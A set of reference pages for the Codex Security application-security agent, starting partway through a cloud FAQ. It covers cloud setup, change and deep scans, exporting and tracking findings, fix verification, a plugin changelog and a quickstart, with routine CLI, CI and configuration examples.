- What validation establishes: read the evidence attached to the particular finding; source analysis can establish a vulnerable code path and execution evidence can show that a reproducer or test demonstrated the issue; status and severity help organize review but use the underlying evidence and prerequisites to decide applicability.
- If validation fails: inspect the attempted validation and available logs; a failed reproducer can mean the issue doesn't apply or that the environment or test was unsuitable; resolve the stated gap before dismissing the finding or claiming it was reproduced.
- If the scan reports no findings: confirm the scan completed and reviewed the intended repository and revision, read any recorded limits or unfinished work; a scan with no findings can still miss vulnerabilities.
## Fixes
- Does Codex Security apply patches automatically: no. **Fix with Codex** on a repository finding starts a conversation that asks Codex to verify the issue, implement a fix, and run relevant tests (review the changes there). For a finding with a suggested patch, review the diff before **Create draft pull request** (the draft doesn't merge the fix).
- How do I know a patch fixed the issue: review the patch's validation evidence (does the original issue still reproduce, does legitimate behavior still work); if validation wasn't completed keep that uncertainty with the finding; a proposed patch, draft PR, or status change alone doesn't verify a fix.
## Notes
- Initial scans can take several hours to multiple days for larger repositories; later scans are usually faster (incremental). It doesn't replace manual security review, exploitability checks, or human threat assessment.
## Related
- [Codex Security](./overview.md)
- [Codex Security cloud setup](./cloud-setup.md)
- [Improving the threat model](./threat-model.md)
references/security/cloud-setup.md
# Codex Security Cloud setup
Run a first scan of a connected GitHub repository with Codex Security Cloud, then review its findings; afterward you can enable monitoring for new commits. Codex Security Cloud runs scans in Codex cloud; for scans of a local repository in the desktop app or CLI use the separate Codex Security plugin.
## Signature / Usage
Before you start: a workspace with Codex Security Cloud access and Codex cloud set up, and permission to connect the GitHub repository you want to scan (you can create its cloud environment during setup). If the plugin is unavailable, check access with your workspace administrator. If a repository is missing, use **Configure access** in the repository picker to check the GitHub app's organization and repository access, or ask your GitHub administrator to add the repository.
1. **Install and open the plugin** — open **Plugins** in ChatGPT on the web or in the desktop app, search the plugin marketplace for **Codex Security Cloud**, install and enable it, then open **Security Cloud** from your installed plugins or sidebar.
2. **Connect GitHub** — confirm Codex cloud is set up, select **Scan**, and if prompted **Connect GitHub** with your own GitHub account (each person who starts scans needs their own connection and repository access). Codex Security Cloud doesn't support workspace connections.
3. **Start a repository scan** — in **New Scan** choose the repository; review the environment (**Auto** creates one when you start; **Customize** chooses an existing environment); under **Scan Method** select **One-Time Scan**; select **Create**. Open the scan in **Scans** to follow progress; wait for it to finish, check the reported status and target before interpreting findings, and read output from a failed or canceled scan as an incomplete review.
4. **Review findings and available fixes** — open **Findings**; **Open findings** shows **New**, **Triaged**, or **In Progress** statuses; search or use **Filters**; the **Severity and status** chart summarizes the matching findings. Open a finding to check its affected code and revision, the attacker path, validation evidence, and unresolved assumptions (a scan with no findings doesn't establish there are no vulnerabilities). **Fix with Codex** on a repository finding starts a Codex conversation to check the finding against current code, implement a fix, and run relevant tests; findings from commit monitoring can instead offer a suggested patch to review before **Create draft pull request**.
5. **Monitor new commits** — select **Scan**, choose the repository and review the environment; under **Scan Method** select **Continuous Scanning** (scans the default branch); choose **Scan commit history from** (longer windows give more context but a longer initial scan); optionally add threat model scoping guidance; select **Create**.
## Notes
- Monitoring settings: open **Repositories**, select the repository, open **Monitoring settings** to change the Cloud environment, the days of history to review, and pause or enable monitoring; select **Save**. The scan owner, people granted edit access, and Codex Security administrators can change them; changes (including pausing) apply to the repository's shared workspace configuration, not just to the person making them. Review the generated threat model there and update it with deployment or security context the code doesn't establish (see threat-model.md).
- For questions about builds, validation, or result interpretation see cloud-faq.md; to review GitHub pull requests use security-review.md.
- Earlier revisions of this page used `chatgpt.com/codex/security/scans/new` and `chatgpt.com/codex/settings/environments` with a history-window wizard and **Recommended Findings** / **All Findings** views; the current official page uses the plugin-based flow above.
## Related
- [Codex Security](./overview.md)
- [Codex Security cloud FAQ](./cloud-faq.md)
- [Improve the Cloud threat model](./threat-model.md)
references/security/code-changes.md
# Review code changes for security
Runs a security change review to find regressions in one Git-backed change set. Codex reviews each changed source-like file and its directly supporting code; it doesn't expand into a full repository audit.
## Signature / Usage
Desktop app: **Security** → **Scans** → **+ Scan** → choose repository → **Changes** (uncommitted changes, a single commit, or a base/head revision range). **Deep scan** isn't available for a changes scan.
Conversation prompt (uncommitted changes):
```text
Use $codex-security:security-diff-scan to review my current uncommitted changes for security regressions.
```
Conversation prompt (revision range):
```text
Use $codex-security:security-diff-scan to review the changes from origin/main to HEAD for security regressions. Focus on authentication, authorization, input handling, filesystem access, network requests, and secrets.
```
## CI/CD automation
```bash
npm install --global @openai/codex
codex plugin add codex-security@openai-curated
CODEX_API_KEY="$CODEX_SECURITY_API_KEY" codex exec \
--sandbox workspace-write \
"Use \$codex-security:security-diff-scan to review changes from $BASE_REVISION to $HEAD_REVISION for security regressions. Do not modify the checkout."
```
Output at `$TMPDIR/codex-security-scans/<repository>/<scan-id>/`: `report.md`, `findings/<slug>/`, `hardening/`, `findings.json`, `scan-manifest.json`, `coverage.json`.
## Options / Props
Scan output files (`$TMPDIR/codex-security-scans/<repository>/<scan-id>/`):
| Name | Description |
|------|-------------|
| `report.md` | Primary readable entry point to the complete scan directory |
| `findings/<slug>/` | Detailed vulnerability reports and supporting proof-of-concept files, when requested |
| `hardening/` | Structural hardening guidance and supporting proposals, when requested |
| `findings.json` | Findings with stable identifiers, severity, confidence, source locations, and remediation; use `findingId` to identify the finding and `occurrenceId` for its occurrence in this scan (field definitions: the findings schema in `github.com/openai/plugins`, `plugins/codex-security/schemas/findings.schema.json`) |
| `scan-manifest.json` | Sealed scan receipt with the reviewed target, revisions, and artifact hashes |
| `coverage.json` | Reviewed and deferred surfaces, exclusions, and coverage completeness |
```bash
jq -r '
.findings[] |
[.findingId, .severity.level, .confidence.level, .locations[0].path, .locations[0].startLine, .title] |
@tsv
' findings.json
```
## Notes
- Confirm the change in setup: select **Changes**, confirm the checked-out repository, current branch, and latest commit; under **Changes to review** choose `Uncommitted changes`, the latest commit, or a base and head revision (branch or pull-request range); confirm the summary, then **Start scan**. Codex doesn't check out another branch or switch the selected working tree; if a requested revision isn't available locally, fetch it first or provide a locally available base and head. You can also name a pull request when its base and head revisions are in the local checkout.
- CI/CD requirements: a trusted Linux runner with Node.js and `npm` (writable global prefix), Git, Python 3, `jq`, and the provider's command-line tools. Install the CLI without exposing the scan credential (`npm install --global @openai/codex`), install the plugin from the public Codex CLI plugin marketplace (`codex plugin add codex-security@openai-curated`; see plugin-changelog.md for version-specific requirements), provide `CODEX_SECURITY_API_KEY` from your CI secret store and expose it only for the scan (`CODEX_API_KEY="$CODEX_SECURITY_API_KEY" codex exec ...`). Set `CODEX_HOME` and `TMPDIR` to job-local directories and archive `codex-security-scans` (structured findings, manifest, coverage, `report.md`, and any `findings/` or `hardening/` outputs). The official page gives examples for GitHub Actions, GitLab CI/CD (masked `CODEX_SECURITY_API_KEY` variable, `CI_MERGE_REQUEST_DIFF_BASE_SHA` as base), Azure Pipelines (Build validation branch policy for Azure Repos), and Jenkins (`withCredentials`).
- The examples skip forked pull requests; run credentialed jobs only from a protected pipeline definition and only for contributors trusted with the scan credential. Scan results can include sensitive vulnerability details, so keep artifacts private and review the destination before publishing findings. Start with advisory results and review coverage and runtime before making the job a required check.
- If your organization permits the Codex GitHub Action, it can install the CLI at runtime, but you must still install the plugin first and point the action's `codex-home` input at the same `CODEX_HOME`. For API-key handling and sandbox controls see non-interactive-mode.md.
- For a beta standalone CLI with structured JSON, severity policy, and SARIF upload, see [Run Codex Security in CI](./cli-ci.md); this page's CI section instead invokes the installed plugin skill via `codex exec`
- Requires `--sandbox workspace-write` so the scan can create temporary artifacts, but the prompt must still require leaving the checkout unchanged
- After reviewing results: [Fix and verify a finding](./fix-findings.md) or [Export and track findings](./export-findings.md)
## Related
- [Run a Codex Security scan](./scans.md)
- [Fix and verify security findings](./fix-findings.md)
- [Run Codex Security in CI](./cli-ci.md)
references/security/deep-scans.md
# Run a deep security scan
A deep scan runs multiple independent standard scans over the same repository or folder and combines their findings. Use it when you want repeated review and can allow for the additional runtime and token use. Start with a standard scan to check that the scope and security context match your goal; repeated review can find issues missed by an earlier pass but doesn't guarantee complete detection or identical results between runs.
## Signature / Usage
Conversation prompt (repository-wide):
```text
Use $codex-security:deep-security-scan to run a deep security scan of this repository.
```
Scoped to a folder in a monorepo (replace "this repository" with the path to its folder):
```text
Use $codex-security:deep-security-scan to run a deep security scan of /absolute/path/to/repository/services/payments.
```
Desktop app: open **Security** > **Scans** and select **+ Scan**, choose a repository or folder, select **Codebase**, turn on **Deep scan** (the scan reviews the entire selected repository or folder), choose the model and reasoning effort, optionally add threat-model or deployment context under **Additional context**, then select **Start scan**.
## Standard vs deep scan
| | Standard scan | Deep scan |
|---|---|---|
| Review | One standard scan | Multiple standard scans with combined findings |
| Use it for | A first scan or a review of a defined scope | Additional independent reviews of that scope |
| Scope | Repository or folder | Repository or folder |
| Changes (PRs/diffs) | Use the change-review workflow | Not supported (deep scans don't accept diff targets) |
## Options / Props
Configure deep-scan runtime in `~/.codex/codex-security/config.toml` (or `$CODEX_HOME/codex-security/config.toml`) under `[deep_scan]`; configuration changes apply to new deep scans only:
| Name | Default | Description |
|------|---------|-------------|
| `workers` | `4` | Independent standard-scan workers allowed to run at the same time (legacy `"auto"` also resolves to `4`) |
| `subagents` | `3` | Subagents each worker may start; `0` disables them |
| `stop_after_no_new` | `4` | Stop after this many consecutive completed worker scans produce no new findings |
| `stop_after_consecutive_errors` | `3` | Stop after this many consecutive worker errors |
| `max_discovery_runs` | `40` | Limit on independent standard-scan runs before aggregation |
| `max_time_hours` | `96` | Limit worker execution to a positive number of hours up to `96`; fractions allowed (requires plugin version `0.1.19` or later) |
```toml
[deep_scan]
workers = 2
subagents = 0
stop_after_no_new = 3
max_discovery_runs = 10
max_time_hours = 1.5
```
## Notes
- For the best scan quality use `gpt-5.6-sol` with `xhigh` reasoning effort (as stated on the current official page).
- Deep scan workers inherit your selected model and reasoning settings; each worker runs a complete standard scan and Codex Security aggregates the completed results. Follow the saved scan from **Scans**, or select **View activity** to inspect its Codex task.
- When the time limit expires, unfinished workers stop, completed scan results are kept and aggregated into the final report; if no worker finishes source review before the deadline, the report records partial coverage.
- Lower values can reduce scan time and token use but may miss findings.
- Review the result: deep scans use the same saved scan details and complete scan directory as standard scans (open in **Scans** or review in **Findings**); `report.md` links to detailed vulnerability reports or structural hardening guidance when requested (keep any linked `findings/` and `hardening/` directories with the report). Review the coverage summary before the findings: check deferred surfaces and remaining proof gaps. For a finding you accept continue with fix-findings.md; to review a PR, commit, branch range, or local patch use code-changes.md.
- Earlier revisions of this page listed older defaults (`workers = "auto"`, `stop_after_no_new = 6`, `max_discovery_runs = 60`) and said deep scans require delegated workers with a capability check; the current official page documents the defaults above.
## Related
- [Run a Codex Security scan](./scans.md)
- [Review code changes for security](./code-changes.md)
- [Fix and verify security findings](./fix-findings.md)
- [Codex Security plugin changelog](./plugin-changelog.md)
references/security/export-findings.md
# Export and track security findings
Use a completed Codex Security scan for two handoffs: **Export** creates a portable JSON, CSV, or SARIF file; **Track findings** prepares selected findings as Linear/GitHub/Jira issues or a private draft GitHub Security Advisory (with duplicate check and approval gate). Neither changes the sealed scan bundle.
## Signature / Usage
Export prompt:
```text
Export the findings from [completed scan directory] as [JSON, CSV, or SARIF]. Do not modify the sealed scan bundle or upload its contents.
```
Track findings (Linear):
```text
Use $codex-security:track-findings to prepare finding [finding ID] from [completed scan directory] for the Linear team [team] and project [project, if any]. Check for duplicates and show me the exact issue title, body, metadata, and destination. Do not create or update anything until I approve that payload.
```
Track findings (private draft GitHub Security Advisory):
```text
Use $codex-security:track-findings to prepare finding [finding ID] from [completed scan directory] as a private draft GitHub Security Advisory in [owner/repository]. Verify the sealed source revision, repository, affected paths, package metadata, and duplicate state. Show me the exact advisory payload, authenticated GitHub CLI identity, and disclosure warnings. Do not create anything until I approve that payload.
```
## Options / Props
| Format | Use it for |
|--------|-------------|
| JSON | Preserve sealed structured findings for tools/scripts |
| CSV | Review findings and local triage state in a spreadsheet |
| SARIF | Send findings to tools supporting the SARIF interchange format |
## Additional details
- Export: in the desktop app open a completed scan from **Security** > **Scans** and use its artifact links to inspect `report.md`, `findings.json`, `scan-manifest.json`, `coverage.json`, or a SARIF report when present; **Markdown report** opens `report.md` in your configured external editor. If another tool needs the complete scan context keep the original `scan-manifest.json`, `findings.json`, and `coverage.json` together. Available artifact links and export formats depend on your Codex surface and installed plugin version (check plugin-changelog.md before using a format in automation).
- GitHub issue prompt: `Use $codex-security:track-findings to prepare finding [finding ID] from [completed scan directory] for GitHub repository [owner/repository]. Check open and closed issues for duplicates and show me the exact issue title, body, metadata, repository visibility, and authenticated transport. Do not create or update anything until I approve that payload.`
- Jira prompt: `Use $codex-security:track-findings to prepare finding [finding ID] from [completed scan directory] for Jira project [project key] as [issue type]. Check for duplicates and show me the exact issue summary, description, metadata, and destination. Do not create or update anything until I approve that payload.`
- Draft advisories don't batch, update, publish, or close advisories; use a private issue destination when the source doesn't meet the requirements. Sensitive findings should go to a private destination; creating an issue in an internal or public GitHub repository requires an explicit visibility warning and approval of the complete content; treat a draft advisory description as eventually public and remove credentials, private evidence, and unnecessary exploit details. Approval happens in the Codex conversation (no separate screen in the Security workbench).
- Review the proposed write: confirm the finding ID and fingerprint came from the intended sealed scan; the provider, exact destination, and live visibility; the duplicate outcome (`create`, `reuse`, `update`, `blocked`); the complete title, body, source locations, and metadata (remove exploit detail the destination shouldn't expose); approve only that exact payload (a changed destination, visibility, finding set, or body needs a new preview).
- Verify the tracked item: after approval Codex rechecks the sealed source, destination, access, and duplicate state; for a batch it processes findings one at a time and stops at the first uncertain result; creation, update, or reuse is complete only after Codex reads the exact issue back and verifies its binding identifiers and content. Keep the returned canonical URL with your triage record and continue with fix-findings.md when the owner accepts the item for remediation.
## Notes
- `$codex-security:track-findings` accepts one validated finding or an explicitly selected batch of up to 25 from the same sealed scan; one provider/destination per run; a private draft GitHub Security Advisory accepts only one finding
- Draft advisories require: a finding from a sealed `git_revision` scan, verified public canonical source repository, and administrator access
- Jira tracking requires the Atlassian Rovo plugin; reusing an issue needs read access, creating/updating needs read+write
- Review the proposed write before approval: finding ID/fingerprint, exact destination and visibility, duplicate outcome (`create`/`reuse`/`update`/`blocked`), and complete title/body/metadata
- After approval, Codex rechecks source/destination/access/duplicate state and verifies by reading the created item back
- Exporting does not upload findings to a code-scanning service
## Related
- [Fix and verify security findings](./fix-findings.md)
- [Run a Codex Security scan](./scans.md)
references/security/fix-findings.md
# Fix and verify security findings
Turn an accepted security finding into a focused, verified patch. Codex validates the issue and, when safe and practical, adds a focused regression test that fails before the fix and passes after it.
## Signature / Usage
UI workflow (Findings or Scans → open accepted finding → **Patch** tab):
1. **Generate a focused patch** — Codex validates/reproduces the issue when feasible and writes a patch artifact without modifying the checkout
2. **Review the proposed diff** — reject broad refactors, unrelated cleanup, or changes weakening another control
3. **Apply the patch locally** — **Apply patch** applies the exact generated patch to the working tree
4. **Verify the fix** — **Verify fix** reruns the original reproducer or strongest exploit check; checks legitimate behavior and nearby bypasses
5. **Close the finding deliberately** — verification doesn't auto-close; review evidence and close with an accurate reason or keep open
Conversation prompt (supply the finding ID and report path, plus a reproducer or validation command if you have one; this authorizes edits to the checkout):
```text
Use $codex-security:fix-finding to fix finding <finding-id> from <report-path>. Verify the issue against this checkout, fix it, and test the original failure and legitimate behavior. Record any verification you couldn't complete.
```
CI/CD:
```bash
codex exec --sandbox workspace-write 'Use $codex-security:fix-finding to fix finding <finding-id> from <report-path>. Verify the issue against this checkout, fix it, and test the original failure and legitimate behavior. Record any verification you could not complete.'
```
## Notes
- Start with one finding whose evidence you accept. A generated or applied patch isn't yet a verified fix. In the desktop workbench, generation leaves the selected checkout unchanged (**Generate patch** on the **Patch** tab), applying the patch changes it, and verification checks the patch and records evidence without automatically closing the finding. **Verify fix** reruns the original reproducer or another exploit check; when it can run a regression test it checks the test fails before and passes after, otherwise it records the verification gap and the checks it completed, and it also checks legitimate behavior, nearby bypasses, and repository tests. Review commands, results, and the remaining proof gap, then close the finding with an accurate reason or keep it open.
- Findings can come from a scan, ticket, advisory, or other review; Codex can inspect the repository for missing technical details but may need you to clarify an intended security policy before choosing a fix. For repeatable scans and patch generation use the standalone CLI validate and patch commands (cli-reference.md). After verification, merge through your normal code-review process; if verification is incomplete keep the finding open with the remaining work.
- Install Codex Security in the `CODEX_HOME` that `codex exec` uses before running these commands — a fresh CI runner doesn't include marketplace plugins by default
- In CI/CD, separate the change scan from remediation: preserve the completed scan directory as a job artifact, then start one Codex task/job per accepted finding
- Uses `--sandbox workspace-write`; see Non-interactive mode (`security-automation` category) for permissions/safety details
- If a regression test is unsafe/infeasible, Codex records the proof gap and provides the strongest repeatable validation artifact instead
## Related
- [Run a Codex Security scan](./scans.md)
- [Export and track security findings](./export-findings.md)
- [Triage a backlog](./triage-backlog.md)
references/security/overview.md
# Codex Security
Codex Security is an application security agent that helps security and engineering teams find, confirm, and fix vulnerabilities. Use it in Codex, from your terminal, through the TypeScript SDK, or with connected GitHub repositories.
## Signature / Usage
Available through four surfaces:
- **Desktop app plugin** — `Security` sidebar with Scans, Findings, and Repositories views (see [Security workbench](./workbench.md))
- **CLI and TypeScript SDK** — public `@openai/codex-security` npm package
- **Codex Security cloud** — scans connected GitHub repositories through Codex cloud (research preview)
```bash
npm install @openai/codex-security
```
Running scans requires Codex Security access. For best results, use an account verified for Trusted Access for Cyber (https://chatgpt.com/cyber).
## How Codex Security cloud works
Codex Security cloud scans connected repositories commit by commit. It builds scan context from the repo, checks likely vulnerabilities against that context, and validates high-signal issues in an isolated environment before surfacing them:
1. **Find likely vulnerabilities** using a repo-specific threat model and real code context
2. **Reduce noise** by validating findings before review
3. **Move findings toward fixes** with ranked results, evidence, and suggested patch options
## Choose where to start
| Use | When you want to | Start here |
|-----|------------------|------------|
| Codex Security Cloud | Scan connected GitHub repositories in Codex cloud or monitor new commits | cloud-setup.md |
| Codex Security plugin | Scan a local repository in Codex and work through findings interactively | plugin-quickstart.md |
| Codex Security CLI | Run repeatable terminal scans or add checks to CI | cli-quickstart.md |
| Codex Security SDK | Run scans and handle results in an application or developer tool | sdk.md |
For your first local scan use the plugin: in the ChatGPT desktop app select **Codex**, install **Codex Security**, and open **Security** in the sidebar (the plugin also works in Codex CLI). Codex Security Cloud is a separate plugin in research preview on the web and in the desktop app; it requires workspace access, a GitHub connection, and a compatible Codex cloud environment (you can connect the repository and create an environment during setup). For security reviews posted to GitHub pull requests see security-review.md.
## Choose the next task
| Task | Guide |
|------|-------|
| Focus a scan on a service or add security context | scans.md |
| Run repeated reviews of the same repository or folder | deep-scans.md |
| Check a pull request, commit, or local diff | code-changes.md |
| Assess findings from another scanner or issue tracker | triage-backlog.md |
| Generate a patch and check whether it fixes the issue | fix-findings.md |
| Share results or assign remediation work | export-findings.md |
For automation use the CLI guides to scan repositories in bulk (cli-bulk-scans.md) or run scans in CI (cli-ci.md, cli-ci-gitlab.md); look up commands and defaults in cli-reference.md.
## Notes
- Codex Security cloud works with connected GitHub repositories through Codex cloud; if a repository isn't visible, confirm it is available in your Codex cloud workspace
- Codex Security (this product family) is distinct from Codex's built-in approvals / sandbox / network controls, which are covered separately (see `security-automation` category, e.g. Agent approvals & security)
## Related
- [Codex Security plugin quickstart](./plugin-quickstart.md)
- [Codex Security CLI quickstart](./cli-quickstart.md)
- [Codex Security TypeScript SDK](./sdk.md)
- [Codex Security cloud setup](./cloud-setup.md)
references/security/plugin-changelog.md
# Codex Security plugin changelog
Notable user-facing changes to the Codex Security plugin, by version. Newest release notes: `0.1.30`.
## Signature / Usage
Check the plugin version in your current Codex environment before using a feature from a newer release. Reopening or rerunning a saved scan doesn't pin the installed plugin version. Changelog entries follow the plugin version, not the package version; CLI and SDK users can run `npx @openai/codex-security info --json` to check the package and bundled plugin versions together.
```bash
npx @openai/codex-security info --json
```
## Notable versions
| Version | Date | Highlights |
|---------|------|-----------|
| 0.1.30 | September 24, 2026 | Updates the plugin version; same behavior as `0.1.25` |
| 0.1.25 | September 23, 2026 | Scan evidence and supplemental documents kept with saved results; phase-by-phase standard scan progress; changed GitHub Actions workflow files included in change scans, `.cjs` / `.cts` / `.mts` / `.tf` recognized; scans continue when the Daybreak check is unavailable or inconclusive; `OPENAI_API_KEY` for deep-scan workers when the provider requires OpenAI authentication |
| 0.1.24 | September 9, 2026 | Daybreak access check from the plugin in ChatGPT-signed-in desktop and CLI sessions (enrollment link when not granted; advisory only); `$codex-security:verify-fix` runs only when explicitly requested |
| 0.1.23 | September 8, 2026 | `$codex-security:assess-patch-risk` (advisory merge / revise / no-change recommendation); recover valid saved findings from a selected failed scan; per-check setup readiness; deep-scan reports show include/exclude paths; tool server startup allowed up to two minutes; explicit GitHub connector honored for triage import |
| 0.1.22 | August 25, 2026 | `$codex-security:verify-fix` (`fixed` / `still_vulnerable` / `inconclusive`); findings and pending candidates saved as deep-scan workers progress; scan prompt carried into deep-scan workers; Windows path/filesystem compatibility fixes |
| 0.1.21 | August 21, 2026 | Plugin installs without the optional Codex Security Access app; Codex's bundled Node.js runtime used; consistent finding details; SARIF exports include readable rule names, remediation guidance, CWE tags, and security severity |
| 0.1.20 | August 17, 2026 | Each deep-scan worker runs the full end-to-end audit; four concurrent workers by default, stop after four consecutive scans with no new findings, 40 worker runs max (`workers = "auto"` resolves to four); Trusted Access for Cyber check before hosted scans (advisory); deep scans in packaged CLI/SDK installs |
| 0.1.19 | August 13, 2026 | `[deep_scan].max_time_hours` (positive, up to 96, fractions allowed); completed discovery results kept at the deadline; larger source files; OpenRouter and Fireworks credentials passed to deep-scan workers |
| 0.1.18 | August 7, 2026 | Amazon Bedrock scans (bearer tokens, AWS profiles, regional settings, web identity, container credentials); simpler standard-scan workflow; up to five minutes to initialize large repositories |
| 0.1.17 | August 5, 2026 | Live scan progress view; resumable interrupted deep scans; native scan start/completion without the retired embedded widget |
| 0.1.16 | August 4, 2026 | Measured token usage reporting; unified threat-modeling / discovery / validation / attack-path / reporting phases for standard and deep scans; configurable deep-scan workers |
| 0.1.15 | July 30, 2026 | Results tied to the original revision or working-tree snapshot; false-positive feedback for completed scans; nested Git repository support in snapshots |
| 0.1.14 | July 28, 2026 | Scan history filtering/comparison (new/persisting/resolved/not-rescanned); `SECURITY.md` policy via `$codex-security:define-security-policy`; select up to 25 findings for Linear/GitHub Issues tracking |
| 0.1.13 | July 25, 2026 | Findings kept for local/internal/training-only/non-production code, calibrated by deployment/exposure context instead of auto-suppression |
| 0.1.12 | July 23, 2026 | Repository-wide/directory-scoped deep scans with worker coordination; scan reopen/rerun; SARIF/JSON/CSV export |
| 0.1.11 | July 10, 2026 | Per-finding vulnerability reports and structural hardening portfolio (`findings/`, `hardening/`); `$codex-security:vulnerability-writeup` and `$codex-security:propose-security-hardening`; `SECURITY.md` guidance support |
| 0.1.10 | June 23, 2026 | Improved Jira/Linear ticket intake with duplicate detection |
| 0.1.9 | June 18, 2026 | Findings workspace (coverage, severity, confidence, artifacts); JSON/CSV/SARIF export; backlog triage against scanners, advisories, bug bounty reports |
| 0.1.7 | June 4, 2026 | Initial evidence-backed security review workflow: repository/folder scans, PR/commit/branch diff review, threat modeling → discovery → validation → impact analysis → reporting, focused fix generation |
## Notes
- This changelog covers the plugin only, distinct from the CLI/SDK package version (`@openai/codex-security`); the Codex app, Codex CLI, TypeScript SDK, and plugin app have separate version numbers.
- Dates follow the official page's notation (earlier revisions of this page used ISO dates for 0.1.7–0.1.17).
- The public CLI and SDK packages don't run the Trusted Access for Cyber advisory introduced in `0.1.20`.
## Related
- [Codex Security plugin quickstart](./plugin-quickstart.md)
- [Use the Codex Security workbench](./workbench.md)
- [Run deep scans](./deep-scans.md)
references/security/plugin-quickstart.md
# Codex Security plugin quickstart
Install the Codex Security plugin, run your first read-only scan, and review the result in Codex (desktop app or CLI).
## Signature / Usage
Install (desktop app): open **Plugins**, search for **Codex Security**, install, then open **Security** in the sidebar.
Install (CLI):
```bash
codex
```
Then `/plugins` → search **Codex Security** → **Install plugin** → `/new` to start a new chat for the repository.
Run a scan (CLI conversation prompt):
```text
Run a Codex Security scan on this repository.
```
For best scan quality, use `gpt-5.6-sol` with `xhigh` reasoning effort.
## What the scan creates
- `report.md` — primary readable entry point
- `findings/<slug>/` — detailed vulnerability reports and PoC files, when available
- `hardening/` — structural hardening guidance, when available
- `scan-manifest.json`, `findings.json`, `coverage.json` — structured data for automation
## Run your first scan (desktop app) and interpret the result
- Desktop app: select **Security** > **Scans** > **+ Scan**; select an existing repository or another folder; choose **Codebase**, leave **Deep scan** off, and select the entire repository or one folder (confirm the branch and revision); choose the model and reasoning effort and open **Additional context** only to describe an attack vector, security-sensitive area, or repository detail; select **Start scan** and follow the scan phases in the workbench (**View activity** inspects the Codex task); open the completed scan to inspect findings, coverage, and report artifacts (**Findings** across scans, **Repositories** for scan history). If **Security** doesn't appear in the sidebar, confirm **Codex** is selected and the plugin is enabled, update the app and plugin, and check whether your workspace administrator allows the plugin.
- CLI: after the prompt, Codex runs the scan in the terminal without a setup workspace; keep the task running until Codex reports completion. If Codex identifies a configuration limitation, review it and the exact proposed change before approving a configuration update. Review the terminal summary, then open the generated `report.md`.
- Interpret the result: check the target and revision first, then which areas were reviewed and which deferred. A completed scan can still have coverage gaps and a review with no findings hasn't necessarily ruled out every vulnerability. For a finding read the source evidence, attacker prerequisites, validation (which can use source analysis without a reproducer), and remaining uncertainty.
- Choose your next workflow: configure scope and security context (scans.md), review a code change (code-changes.md), fix and verify a finding (fix-findings.md), or track it in an issue (export-findings.md). In the desktop app completed scans remain in **Scans**; in Codex CLI use the scan directory reported in the conversation, and keep it together when sharing or archiving so the report's links keep working.
## Notes
- This page covers the plugin in the desktop app / Codex CLI; for connected GitHub repositories in Codex cloud, see [Codex Security cloud setup](./cloud-setup.md)
- The hosted desktop-app catalog and public Codex CLI marketplace can offer different plugin versions — check the [plugin changelog](./plugin-changelog.md) before relying on a feature
## Related
- [Use the Codex Security workbench](./workbench.md)
- [Run a Codex Security scan](./scans.md)
- [Run a deep security scan](./deep-scans.md)
- [Review code changes for security](./code-changes.md)
references/security/README.md
# Security
| Name | Description | Path |
| --- | --- | --- |
| Run bulk security scans | Discover GitHub repositories or run resumable security scans from a CSV inventory using `npx @openai/codex-security bulk-scan`. | [cli-bulk-scans.md](./cli-bulk-scans.md) |
| Run Codex Security in GitLab CI/CD | Run Codex Security in GitLab CI/CD to scan committed changes and protected branches, publish findings to GitLab Security, and optionally propose verified fixes in draft merge requests. | [cli-ci-gitlab.md](./cli-ci-gitlab.md) |
| Run Codex Security in CI | Run the Codex Security CLI in CI to review the exact changes in a pull request or merge request, keep findings and coverage, upload SARIF, and optionally fail the check at a chosen severity. Start with advisory results, review scan quality and runtime, then add a severity policy. The public `@openai/codex-security` package is installed from npm; running scans still requires Codex Security access. This page gives a GitHub Actions workflow; for GitLab use [Run Codex Security in GitLab CI/CD](./cli-ci-gitlab.md). The same scan and export commands work in other CI systems. | [cli-ci.md](./cli-ci.md) |
| Codex Security CLI FAQ | Answers to common questions about scanning repositories and managing security findings from the terminal (earlier scan results, scan history, new vs known findings, false positives, repeat scans, fix confirmation, coverage, deep-scan time limits, cost limits). For installation and a first scan start with the CLI quickstart. | [cli-faq.md](./cli-faq.md) |
| Codex Security CLI quickstart | Run a standard scan of a local repository with the standalone Codex Security CLI (`@openai/codex-security`). This quickstart ends with a saved report you can review and revisit. For scans inside a Codex conversation use the Codex Security plugin. | [cli-quickstart.md](./cli-quickstart.md) |
| Codex Security CLI reference | Supported `codex-security` commands, flags, output formats, and exit behavior for the `@openai/codex-security` package. The package is public; scans using OpenAI inference require Codex Security access. Scans use your local permissions and don't pause for approval (see "Local scan permissions" below). Run the CLI with `npx @openai/codex-security`. | [cli-reference.md](./cli-reference.md) |
| Codex Security Cloud FAQ | Answers for Codex Security Cloud: billing, scanning, findings and validation, and fixes. For installation and a first scan use cloud-setup.md; local scans have separate plugin and CLI guides. | [cloud-faq.md](./cloud-faq.md) |
| Codex Security Cloud setup | Run a first scan of a connected GitHub repository with Codex Security Cloud, then review its findings; afterward you can enable monitoring for new commits. Codex Security Cloud runs scans in Codex cloud; for scans of a local repository in the desktop app or CLI use the separate Codex Security plugin. | [cloud-setup.md](./cloud-setup.md) |
| Review code changes for security | Runs a security change review to find regressions in one Git-backed change set. Codex reviews each changed source-like file and its directly supporting code; it doesn't expand into a full repository audit. | [code-changes.md](./code-changes.md) |
| Run a deep security scan | A deep scan runs multiple independent standard scans over the same repository or folder and combines their findings. Use it when you want repeated review and can allow for the additional runtime and token use. Start with a standard scan to check that the scope and security context match your goal; repeated review can find issues missed by an earlier pass but doesn't guarantee complete detection or identical results between runs. | [deep-scans.md](./deep-scans.md) |
| Export and track security findings | Use a completed Codex Security scan for two handoffs: **Export** creates a portable JSON, CSV, or SARIF file; **Track findings** prepares selected findings as Linear/GitHub/Jira issues or a private draft GitHub Security Advisory (with duplicate check and approval gate). Neither changes the sealed scan bundle. | [export-findings.md](./export-findings.md) |
| Fix and verify security findings | Turn an accepted security finding into a focused, verified patch. Codex validates the issue and, when safe and practical, adds a focused regression test that fails before the fix and passes after it. | [fix-findings.md](./fix-findings.md) |
| Codex Security | Codex Security is an application security agent that helps security and engineering teams find, confirm, and fix vulnerabilities. Use it in Codex, from your terminal, through the TypeScript SDK, or with connected GitHub repositories. | [overview.md](./overview.md) |
| Codex Security plugin changelog | Notable user-facing changes to the Codex Security plugin, by version. Newest release notes: `0.1.30`. | [plugin-changelog.md](./plugin-changelog.md) |
| Codex Security plugin quickstart | Install the Codex Security plugin, run your first read-only scan, and review the result in Codex (desktop app or CLI). | [plugin-quickstart.md](./plugin-quickstart.md) |
